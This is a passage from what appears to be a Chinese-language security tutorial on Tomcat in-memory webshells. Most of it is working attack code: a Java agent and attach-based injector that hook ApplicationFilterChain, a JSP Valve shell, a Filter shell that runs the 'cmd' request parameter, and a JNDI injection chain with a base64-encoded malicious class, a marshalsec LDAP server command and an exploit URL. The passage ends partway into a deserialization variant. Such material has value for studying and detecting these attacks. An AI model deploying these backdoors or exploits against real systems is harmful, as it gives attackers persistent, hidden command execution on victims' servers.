inst.addTransformer(new MyTransformer(), true);

// 2. 遍历JVM当前所有已加载的类
for (Class<?> clazz : inst.getAllLoadedClasses()) {
// 3. 精确匹配目标类(Tomcat过滤器链核心类)
if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
try {
// 4. 触发目标类的重新转换(将激活MyTransformer的transform方法)
inst.retransformClasses(clazz);
} catch (UnmodifiableClassException e) {
// 5. 处理不可修改类的异常(如被JVM保护的核心类)
throw new RuntimeException("类重转换失败: " + clazz.getName(), e);
}
// 6. 找到目标类后立即跳出循环(提高效率)
break;
}
}
}
}

大概梳理以下流程。

  • 编写AgentMainTest#agentmain方法,遍历JVM中所有已经加载的类,当遍历到ApplicationFilterChain类时,使用自定义的transfomer进行转换。

  • 通过自定义的transformer将我们自定义的恶意代码块注入到ApplicationFilterChain的doFilter方法中。注入代码的逻辑为当请求参数中存在cmd参数时,执行对应系统命令。

  • 最后使用maven进行package打包为jar就可以了。

2.6.4.注入agent内存马

  1. 上传jar包,然后通过jcmd命令的方式注入agent。
  • 在注入之前我们需要获取到对应tomcat容器的进程号。

  • 在Windows系统中使用powershell的Get-Process,或者cmd的tasklist都可以查询到tomcat容器的进程号。

  • 然后使用jcmd命令将将agent注入到对应进程id的tomcat容器中。

1
jcmd 17900 JVMTI.agent_load F:\Projects\IDEA\agentmemshell\target\agentmemshell-1.0-SNAPSHOT-jar-with-dependencies.jar

image-20250614152626130

  1. 除了使用jcmd命令注入的方式,还可以将注入代码块一起编写到agent中,这样就可以直接上传jar包,利用java -jar命令运行注入程序,而无需在手动获取进程号。
  • 编写获取进程ID,注入进程操作。
  • 编写主类Test。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;
import java.net.URL;
import java.util.List;
import java.util.stream.Collectors;

public class Test {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String processName = "java.exe";//根据实际情况中tomcat运行程序名进行设置
List<Long> tomcatId = getProcessIds(processName);
if (!tomcatId.isEmpty()) {
for (Long id : tomcatId) {
System.out.println(id);
}
System.out.println("正在注入到目标进程ID: " + tomcatId.get(0));
String jar = getJar(Test.class);
VirtualMachine vm = VirtualMachine.attach(tomcatId.get(0).toString());//由于可能存在多个同名的进程ID,但仅对第一个进行注入
vm.loadAgent(jar);
} else {
System.out.println("未找到目标进程: " + processName);
}
System.out.println("注入成功!");
}
//用于获取当前运行jar的包名
public static String getJar(Class<?> clazz){
//获取类所在的jar包路径
URL location = clazz.getProtectionDomain().getCodeSource().getLocation();
//获取jar包名称
String path = location.getPath();
if (System.getProperty("os.name").startsWith("Windows")&&path.startsWith("/")){
path = path.substring(1);
}
return path;
}
//根据进程名获取进程ID
public static List<Long> getProcessIds(String processName) {
// 获取所有进程并过滤
return ProcessHandle.allProcesses()
.filter(ph -> {
// 处理可能为空的Optional
return ph.info().command()
.map(cmd -> {
// Windows/Linux统一处理逻辑
String exeName = getBaseName(cmd);
return exeName.equalsIgnoreCase(processName);
})
.orElse(false);
})
.map(ProcessHandle::pid)
.collect(Collectors.toList());
}

// 提取文件名(跨平台处理)
private static String getBaseName(String path) {
if (path == null) return "";
String separator = path.contains("/") ? "/" : "\\\\";
String[] parts = path.split(separator);
return parts[parts.length - 1];
}

}

  • 确定Test类已经指定。
1
2
3
4
5
6
<manifestEntries>
<Main-Class>Test</Main-Class>
<Agent-Class>AgentMainTest</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
  • 将编写好的程序打包为jar

  • 注入操作部分,直接java -jar执行打包好的jar

image-20250614162843819

  • 注入进程后使用cmd参数指定执行的系统命令。

image-20250614163024490

2.7.Tomcat Valve内存马

2.7.1.Tomcat管道机制

image-20250622194449553

  • 如图Tomcat有四大容器,Engine、Host、Context、Wrapper。
    • 在请求传递过程中,容器并不是直接相互调用的,而是通过每个容器内的的管道(Pipeline)和阀门(Valve)机制实现的。这种设计模式是Tomcat架构的核心,它让请求像水一样在容器层级间智能流动。
    • Valve是可插拔的请求处理单元,每个Valve复制一项独立的功能(如日志、权限、数据压缩等)。
    • 每个容器都有一个专属的Pipeline,每个Pipeline里面都有一个独立顺序位于最后的基础阀门,复制将请求传递到下层容器的Pipeline,同时我们又可以在每个管道中间自定义的阀门。
    • Valve是tomcat的私有实现,不像Servlet是通用的。

2.7.2.源码分析

  • 从对Tomcat的源码分析我们发现org.apache.catalina.Pipeline管道接口提供了一个addValve方法可以用于添加自定义的阀门。

image-20250622200258862

  • 同时每个容器都实现了Container接口,因此每个容器都存在getPipeline方法。我们只需要获取到任意一个容器,就可以获取到Pipeline对象。

image-20250622200205532

2.7.3.内存马编写

  • 首先创建jsp文件,获取StandardContext对象,同时编写自定义的Valve,Valve类需要继承ValveBase重写invoke方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%--
Created by IntelliJ IDEA.
User: GaoMu
Date: 2025/6/22
Time: 20:04
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
public class MyValve extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
// 获取请求中的cmd参数
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
StringBuffer output = new StringBuffer();
while ((line = bufferedReader.readLine()) != null) {
output.append(line).append("<br>");
}
response.setContentType("text/html; charset=UTF-8");
response.getWriter().write(output.toString());
bufferedReader.close();
}
}
}
%>


<%
//通过反射获取standardContext
ServletContext servletContext = request.getServletContext();
//通过servletContext获取到applicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext获取到standardContext
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);
standardContext.addValve(new MyValve());
out.print("valve inject success!");
%>
  • 结果验证。

image-20250622203158394

image-20250622203236908

3.内存马注入方式

3.1.JNDI注入内存马

3.1.1.项目构建

  • 构建存在漏洞jndi的tomcat服务器。

image-20250614233422264

image-20250614233501377

  • 为了测试注入,我们手动的在受害者靶机上构建一个存在JNDI注入的漏洞环境。

  • 添加如下servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.gaomu.jndimemshell;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name = "JNDIServlet", value = "/jndi")
public class JNDIServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) {
//name为jndi地址
String name = request.getParameter("name");
if (name == null) {
response.setStatus(HttpServletResponse.SC_BAD_REQUEST);
} else {
try {
InitialContext initialContext = new InitialContext();
initialContext.lookup(name);
} catch (NamingException e) {
throw new RuntimeException(e);
}
}

}
}
  • 构建攻击者项目

image-20250614234749746

  • 在pom.xml文件中分别添加与攻击环境相匹配的tomcat版本,以及catalina和javaassist。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.0.53</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>

3.1.2.注入代码编写

  • 这次我们选择注入filter内存马,因此我们首先需要先编写一个filter内存马。
  • 将java目录下所有的代码目录都先删除,构建一个无package路径环境,然后编写ShellFilter.java文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class ShellFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
//当检测到请求参数中包含cmd参数,执行对应值的系统命令
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
StringBuffer output = new StringBuffer();
while ((line = bufferedReader.readLine()) != null) {
output.append(line).append("<br>");
}
response.setContentType("text/html; charset=UTF-8");
response.getWriter().write(output.toString());
bufferedReader.close();
}

}

@Override
public void destroy() {

}
}

  • 编写代码用于将ShellFilter转换为字节码同时进行BASE64编码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.util.Base64;

public class JavaToClassBase64 {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
ClassPool pool = ClassPool.getDefault();
CtClass shellFilterClass = pool.get("ShellFilter");
byte[] bytecode = shellFilterClass.toBytecode();
String base64Code = Base64.getEncoder().encodeToString(bytecode);
System.out.println(base64Code);
}
}

//输出: yv66vgAAADQAfQoAFwBECAA2CwBFAEYKAEcA.......
  • 也可以不使用代码来转换,直接编译为Class文件之后,使用其他工具将Class文件转换为Base64字符串也同样可以,例如CyberChef

image-20250615001100117

  • 编写实际的执行类,即JNDI注入远程加载的主类。
  • 接下来我们需要获取到StandardContext。在以前的Tomcat容器中我们通常都是通过request来间接获取StandardContext,而在无request环境中,我们可以通过Thred#currentThread(),这个静态的线程方法上获取到StandardContext。但是这个方法仅仅使用于8.0版本,如果是8.5及以上的版本,需要进行改造。
1
2
3
4
5
6
7
8
9
10
public StandardContext getContext() {
// 获取当前线程的类加载器(Web应用专用)
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

// 获取资源根目录对象
StandardRoot standardRoot = (StandardRoot) webappClassLoaderBase.getResources();

// 从资源根目录获取Web应用上下文
return (StandardContext) standardRoot.getContext();
}
  • 接下来是要编写getFilter方法,因为jndi注入,一次性只能加载一个Class,因此我们注入的ShellFilter类,需要通过Base64字符串的方式写入到类中,在实际进行注入时才在JNDI调用的字节码中获取到该字符串解码然后进行加载,而非传入两个Class进行加载。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Filter getFilter() throws Exception {
// Base64编码的恶意Filter类字节码
String codeBase64 = "yv66vgAAADQAfQoAFwBECAA2CwBFAEYKAEcASAoARwBJBwBKBwBLCgBMAE0KAAcATgoABgBPBwBQCgALAEQKAAYAUQoACwBSCABTCABUCwBVAFYLAFUAVwoACwBYCgBZAFoKAAYAWwcAXAcAXQcAXgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTFNoZWxsRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAF8BAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARwcm9jAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEAB3JlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFwHAGAHAGEHAGIHAGMHAGQHAEoHAFAHAGUBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAEFNoZWxsRmlsdGVyLmphdmEMABkAGgcAYAwAZgBnBwBoDABpAGoMAGsAbAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBkDABtAG4MABkAbwwAGQBwAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAcQByDABzAHQBAAQ8YnI+AQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04BwBhDAB1AHYMAHcAeAwAeQByBwB6DAB7AHYMAHwAGgEAC1NoZWxsRmlsdGVyAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAh0b1N0cmluZwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWNsb3NlACEAFgAXAAEAGAAAAAQAAQAZABoAAQAbAAAALwABAAEAAAAFKrcAAbEAAAACABwAAAAGAAEAAAAGAB0AAAAMAAEAAAAFAB4AHwAAAAEAIAAhAAIAGwAAADUAAAACAAAAAbEAAAACABwAAAAGAAEAAAAKAB0AAAAWAAIAAAABAB4AHwAAAAAAAQAiACMAAQAkAAAABAABACUAAQAmACcAAgAbAAABcAAFAAkAAABuKxICuQADAgA6BBkExgBhuAAEGQS2AAU6BbsABlm7AAdZGQW2AAi3AAm3AAo6BrsAC1m3AAw6CBkGtgANWToHxgATGQgZB7YADhIPtgAOV6f/6CwSELkAEQIALLkAEgEAGQi2ABO2ABQZBrYAFbEAAAADABwAAAAuAAsAAAAPAAoAEAAPABEAGQASAC4AFAA3ABUAQgAWAFIAGABaABkAaAAaAG0AHQAdAAAAXAAJABkAVAAoACkABQAuAD8AKgArAAYAPwAuACwALQAHADcANgAuAC8ACAAAAG4AHgAfAAAAAABuADAAMQABAAAAbgAyADMAAgAAAG4ANAA1AAMACgBkADYALQAEADcAAABaAAP/ADcACQcAOAcAOQcAOgcAOwcAPAcAPQcAPgAHAD8AAP8AGgAJBwA4BwA5BwA6BwA7BwA8BwA9BwA+BwA8BwA/AAD/ABoABQcAOAcAOQcAOgcAOwcAPAAAACQAAAAGAAIAQAAlAAEAQQAaAAEAGwAAACsAAAABAAAAAbEAAAACABwAAAAGAAEAAAAiAB0AAAAMAAEAAAABAB4AHwAAAAEAQgAAAAIAQw==";

// 解码Base64获取原始字节码
byte[] codeBytes = Base64.getDecoder().decode(codeBase64);

// 获取当前线程的类加载器
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

// 反射获取defineClass方法(关键步骤)
Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true); // 突破访问限制

// 动态定义恶意Filter类
Class clazz = (Class) defineClassMethod.invoke(
contextClassLoader, codeBytes, 0, codeBytes.length);

// 实例化并返回恶意Filter对象
return (Filter) clazz.newInstance();
}
  • 完整的Inject主类如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.Filter;
import java.lang.reflect.Method;
import java.util.Base64;

public class Inject {
public Inject() throws Exception {
// 获取当前Web应用的上下文对象
StandardContext context = getContext();

// 动态创建恶意Filter实例
Filter filter = getFilter();

// 创建Filter定义
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(filter.getClass().getName()); // 设置Filter类名
filterDef.setFilterName("shell"); // 设置Filter名称
filterDef.setFilter(filter); // 绑定Filter实例

// 创建Filter映射
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("shell"); // 关联Filter名称
filterMap.addURLPattern("/*"); // 匹配所有URL路径

// 将Filter注册到Web应用中
context.addFilterDef(filterDef); // 添加Filter定义
context.addFilterMapBefore(filterMap); // 添加映射规则(前置)
context.filterStart(); // 启动Filter

System.out.println("注入成功!"); // 打印成功信息
}

public StandardContext getContext() {
// 获取当前线程的类加载器(Web应用专用)
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

// 获取资源根目录对象
StandardRoot standardRoot = (StandardRoot) webappClassLoaderBase.getResources();

// 从资源根目录获取Web应用上下文
return (StandardContext) standardRoot.getContext();
}

public Filter getFilter() throws Exception {
// Base64编码的恶意Filter类字节码
String codeBase64 = "yv66vgAAADQAfQoAFwBECAA2CwBFAEYKAEcASAoARwBJBwBKBwBLCgBMAE0KAAcATgoABgBPBwBQCgALAEQKAAYAUQoACwBSCABTCABUCwBVAFYLAFUAVwoACwBYCgBZAFoKAAYAWwcAXAcAXQcAXgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTFNoZWxsRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAF8BAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAARwcm9jAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABm91dHB1dAEAGExqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEAB3JlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFwHAGAHAGEHAGIHAGMHAGQHAEoHAFAHAGUBAAdkZXN0cm95AQAKU291cmNlRmlsZQEAEFNoZWxsRmlsdGVyLmphdmEMABkAGgcAYAwAZgBnBwBoDABpAGoMAGsAbAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBkDABtAG4MABkAbwwAGQBwAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAcQByDABzAHQBAAQ8YnI+AQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04BwBhDAB1AHYMAHcAeAwAeQByBwB6DAB7AHYMAHwAGgEAC1NoZWxsRmlsdGVyAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAh0b1N0cmluZwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWNsb3NlACEAFgAXAAEAGAAAAAQAAQAZABoAAQAbAAAALwABAAEAAAAFKrcAAbEAAAACABwAAAAGAAEAAAAGAB0AAAAMAAEAAAAFAB4AHwAAAAEAIAAhAAIAGwAAADUAAAACAAAAAbEAAAACABwAAAAGAAEAAAAKAB0AAAAWAAIAAAABAB4AHwAAAAAAAQAiACMAAQAkAAAABAABACUAAQAmACcAAgAbAAABcAAFAAkAAABuKxICuQADAgA6BBkExgBhuAAEGQS2AAU6BbsABlm7AAdZGQW2AAi3AAm3AAo6BrsAC1m3AAw6CBkGtgANWToHxgATGQgZB7YADhIPtgAOV6f/6CwSELkAEQIALLkAEgEAGQi2ABO2ABQZBrYAFbEAAAADABwAAAAuAAsAAAAPAAoAEAAPABEAGQASAC4AFAA3ABUAQgAWAFIAGABaABkAaAAaAG0AHQAdAAAAXAAJABkAVAAoACkABQAuAD8AKgArAAYAPwAuACwALQAHADcANgAuAC8ACAAAAG4AHgAfAAAAAABuADAAMQABAAAAbgAyADMAAgAAAG4ANAA1AAMACgBkADYALQAEADcAAABaAAP/ADcACQcAOAcAOQcAOgcAOwcAPAcAPQcAPgAHAD8AAP8AGgAJBwA4BwA5BwA6BwA7BwA8BwA9BwA+BwA8BwA/AAD/ABoABQcAOAcAOQcAOgcAOwcAPAAAACQAAAAGAAIAQAAlAAEAQQAaAAEAGwAAACsAAAABAAAAAbEAAAACABwAAAAGAAEAAAAiAB0AAAAMAAEAAAABAB4AHwAAAAEAQgAAAAIAQw==";

// 解码Base64获取原始字节码
byte[] codeBytes = Base64.getDecoder().decode(codeBase64);

// 获取当前线程的类加载器
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

// 反射获取defineClass方法(关键步骤)
Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
"defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true); // 突破访问限制

// 动态定义恶意Filter类
Class clazz = (Class) defineClassMethod.invoke(
contextClassLoader, codeBytes, 0, codeBytes.length);

// 实例化并返回恶意Filter对象
return (Filter) clazz.newInstance();
}
}

3.1.3.注入实流程

  • 通过JNDI漏洞注入Filter型内存马
  1. 启用HTTP服务器暴露Class文件,可以使用任意方式暴露,我这里使用的是pythonpython -m http.server 80

image-20250615012812699

  1. 使用marshalsec工具启动一个ldap服务器(1389),并将Inject类解析指向暴露的HTTP服务器(80)。
1
D:\Tools\EXPJar>D:\Language\Java\jdk1.8.0_65\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.1/#Inject" 1389

image-20250615013001040

  1. 通过jndi注入传入ldap地址。
1
http://localhost:8080/JNDImemshell_war_exploded/jndi?name=ldap://192.168.100.1:1389/Inject

image-20250615013148961

image-20250615013223360

3.1.4.注意

  • 需要注意的是jndi是jdk版本限制的,在无特殊绕过条件下,只能在jdk8u191以下才可使用,如果超过此版本的现象大致为,请求ldap服务器成功但不会去解析暴露class文件,也就是说,python启动的http服务器不会收到任何响应,但是ldap服务器可以收到。

  • 还有需要注意的是只有在tomcat8.0时才可以使用静态方法Thred#currentThread(),然后利用getResources来获取standardRoot,但是在9.0版本已经弃用了getResources方法,需要对获取StandardContext方法做一点改造。

3.1.5.Tomcat9JNDI注入内存马实现

  • tomcat9在获取context方面由有差异,在webappClassLoaderBase类中的getResources方法被弃用,返回的内容设置成了空,并说明在10.1x之后会被移除,因此我们需要对获取context的方法进行以下改造。

image-20250615105805973

  • 我们没办法通过getResource获取到的resources,但是我们可以通过反射来获取这个受保护的resources变量。
1
2
3
4
5
6
7
8
9
10
11
12
13
//catalina的版本需配置为9.0
public StandardContext getContextTomcat9() {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//tomcat9.0需要通过反射来获取Resources对象
try {
Field resourcesField = WebappClassLoaderBase.class.getDeclaredField("resources");
resourcesField.setAccessible(true);
StandardRoot standardRoot = (StandardRoot) resourcesField.get(webappClassLoaderBase);
return (StandardContext) standardRoot.getContext();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
  • 除了获取StandardContext方法需要改造以外,其他的保持不变即可。

3.2.反序列化注入内存马

目标环境:Tomcat8.0、存在反序列化注入漏洞、存在commons-beanutils-1.8.3组件。

大致思路:通过反序列化漏洞在tomcat过滤器中注入恶意代码,当请求中包含cmd参数时,执行其参数值的系统命令。

操作步骤

  1. 首先编写一个ShellFilter类,用于在Tomcat过滤器中检测cmd参数并执行对应系统命令。
  2. 然后编写Inject类,在目标靶机上实际执行的代码块,用于将我们编写的ShellFilter注入到tomcat中。
  3. 编写反序列利用链,用于执行恶意代码块Inject。
  • ShellFilter.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class ShellFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
//当检测到请求参数中包含cmd参数,执行对应值的系统命令
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
StringBuffer output = new StringBuffer();
while ((line = bufferedReader.readLine()) != null) {
output.append(line).append("<br>");
}
response.setContentType("text/html; charset=UTF-8");
response.getWriter().write(output.toString());
bufferedReader.close();
}

}
